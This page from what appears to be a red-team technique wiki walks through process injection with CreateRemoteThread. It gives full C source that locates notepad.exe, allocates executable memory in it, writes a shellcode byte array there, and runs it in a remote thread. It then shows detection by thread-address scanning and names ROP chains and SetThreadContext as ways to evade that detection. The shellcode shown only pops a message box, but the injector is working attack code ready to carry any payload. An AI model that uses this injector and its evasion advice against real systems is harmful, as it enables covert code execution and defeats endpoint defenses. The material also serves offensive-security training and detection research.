The Red Team Vade Mecum
  • The Red Team Vade Mecum
  • Techniques
    • Defense Evasion
      • Binary Properties and Code Signing
      • ATA/ATP
        • Important Note
        • Intro
        • Lateral Movement
        • Domain Dominance
        • Identification
        • Recon
        • Blocking/Disabling Telemetry
          • Trusted Installer
      • Tips and Tricks
      • Basics
        • IOCs
          • High Level Overview of EDR technologies
        • Sandbox Evasion
        • Obfuscating Imports
          • Bootstrapping
        • Encrypting Strings
      • Disabling/Patching Telemetry
        • ETW Bypasses
        • AMSI Bypasses
      • Minimization
        • Commands to Avoid
        • Pivoting
        • Benefits of Using APIs
        • Thread-less Payload Execution
        • DLL Hollowing
      • Misdirection
        • Command Line Argument Spoofing
        • PPID Spoofing via CreateProcess
        • Switching Parents
          • Dechaining via WMI
      • Hiding our Payloads
        • Event Logs
        • File metadata
        • Registry Keys
        • ADS
      • IPC For Evasion and Control
    • Privilege Escalation
      • Hunting For Passwords
      • To System
        • New Service
        • Named Pipe Impersonation
        • Local Exploits
        • AlwaysInstallElevated
      • Hijacking Execution
        • Environment Variable interception
        • DLL Hijacking
      • Insecure Permissions
        • Missing Services and Tasks
        • Misconfigured Registry Hives
        • Insecure Binary Path
        • Unquoted Service Paths
    • Enumeration
      • Situational Awareness
      • Recon Commands
        • .NET AD Enum commands
        • WMIC commands
          • WMI queries from c++
    • Execution
      • Cool ways of Calling a Process
      • One Liners
    • Initial Access
      • Tips and Tricks
      • Tools
      • Staging/Stagers
      • MS Office
        • Macros
          • Evasion
            • VBA Stomping
            • Revert To Legacy Warning in Excel
            • Sandbox Evasion
          • Info Extraction
          • Inline Shapes
          • .MAM Files
          • PowerPoint
          • ACCDE
          • Shellcode Execution
          • Info Extraction
          • Dechaining Macros
        • Field Abuse
        • DDE
      • Payload Delivery
      • File Formats
        • MSG
        • RTF
        • REG
        • BAT
        • MSI Files
        • IQY
        • CHM
        • LNK
          • Using LNK to Automatically Download Payloads
        • HTA
    • Lateral Movement
      • Linux
        • SSH Hijacking
        • RDP
        • Impacket
      • No Admin?
      • Checking for access
      • Poison Handler
      • WinRM
      • AT
      • PsExec
      • WMI
      • Service Control
      • DCOM
      • RDP
      • SCShell
    • Code Injection
      • Hooking
        • Detours
      • CreateRemoteThread
      • DLL Injection
      • APC Queue Code Injection
      • Early Bird Injection
    • Persistence
      • Scheduled Tasks
        • AT
      • MS Office
      • SQL
      • Admin Level
        • SSP
        • Services
        • Default File Extension
        • AppCert DLLs
        • Time Provider
        • Waitfor
        • WinLogon
        • Netsh Dlls
        • RDP Backdoors
        • AppInit Dlls
        • Port Monitor
        • WMI Event Subscriptions
      • User Level
        • LNK
        • Startup Folder
        • Junction folders
        • Registry Keys
        • Logon Scripts
        • Powershell Profiles
        • Screen Savers
  • Infrastructure
    • SQL
      • MS SQL
        • Basics
        • Finding Sql Servers
        • Privilege Escalation
        • Post Exploitation
  • Other
    • Vulnerability Discovery
      • Web Vulnerabilities
        • Code Grepping
          • PHP Cheatsheet
    • Windows Internals
      • Unorganized Notes
Powered by GitBook
On this page

Was this helpful?

  1. Techniques
  2. Code Injection

CreateRemoteThread

  1. Allocate Memory in remote process(VirtualAlloc)

  2. Write shellcode to remote process(WriteProcessMemory)

  3. Create thread running shellcode(CreateRemoteThread)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char shellcode [] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f, 
  0x6f, 0x00
};
unsigned int pay_len = sizeof(shellcode);


DWORD FindProcessPid(const char* name)
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
    if (hSnapshot)
    {
        if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
        {
            do
            {
                if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name
                {
                    return pe32.th32ProcessID; // if its the same, return the process id
                }
            } while (Process32Next(hSnapshot, &pe32));
            CloseHandle(hSnapshot);
        }
    }

    return -1; // returns negative one if the process is not found
}

int main(void) {
    int pid = FindProcessPid("notepad.exe");
    printf("notepad Pid is %d\n", pid);
    getchar();

    HANDLE hProc = NULL;
    LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;

    HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid);


    void *pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL);

    CreateRemoteThread(han_proc, NULL, 0, (LPTHREAD_START_ROUTINE)pRem, NULL, 0, NULL);
    CloseHandle(han_proc);

    return 0;
}

Alright, so lets see this in action.

As we can see, the PIDs match.

Lets press enter and see what happens next.

In our notepad process, we will get a peakaboo message box, which is what our shellcode does when ran.

We have successfully injected shellcode into a remote process.

Now, I forgot to print out the address of the allocated memory, but we can easily identify it by looking at RWX sections in our code.

Lets take a look at process hacker and try to find our allocated memory with our shellcode in the notepad process.

As we can see, at address 0x22aa5ce000 is the memory address that stores our shellcode. We know this is our shellcode because of the peakaboo bytes at the end.

We can also see the running threads of notepad in process hacker. We can see our remote thread that we called which is represented by "RtlUserThreadStart":

A potential detection technique is to look at what addresses your threads point to, if they point to this weird heap allocated block of memory, chances are that these are malicious and you can then scan that memory for any shellcode signatures(or just flag it).

We can enumerate all threads, and find all the threads that don't point back into legit text sections, and raise an exception if they don't. This is what getinjectethread does. Let's try running that out and see if our malware gets detected:

Oh no(or oh yeah)! our Malware has been detected.

But as attackers, there are 2 things we can do to make our thread look legitimate and not be flagged by getinjectedthread.

  1. ROP chains

  2. SetThreadContext

I won't go into much detail here because this was just supposed to be a simple lab(ish), but there is a wonderful blog by XPNsec which goes into more detail into getinjectedthread and evading it:

PreviousDetoursNextDLL Injection

Last updated 3 years ago

Was this helpful?

@_xpn_ - Understanding and Evading Get-InjectedThreadXPN InfoSec Blog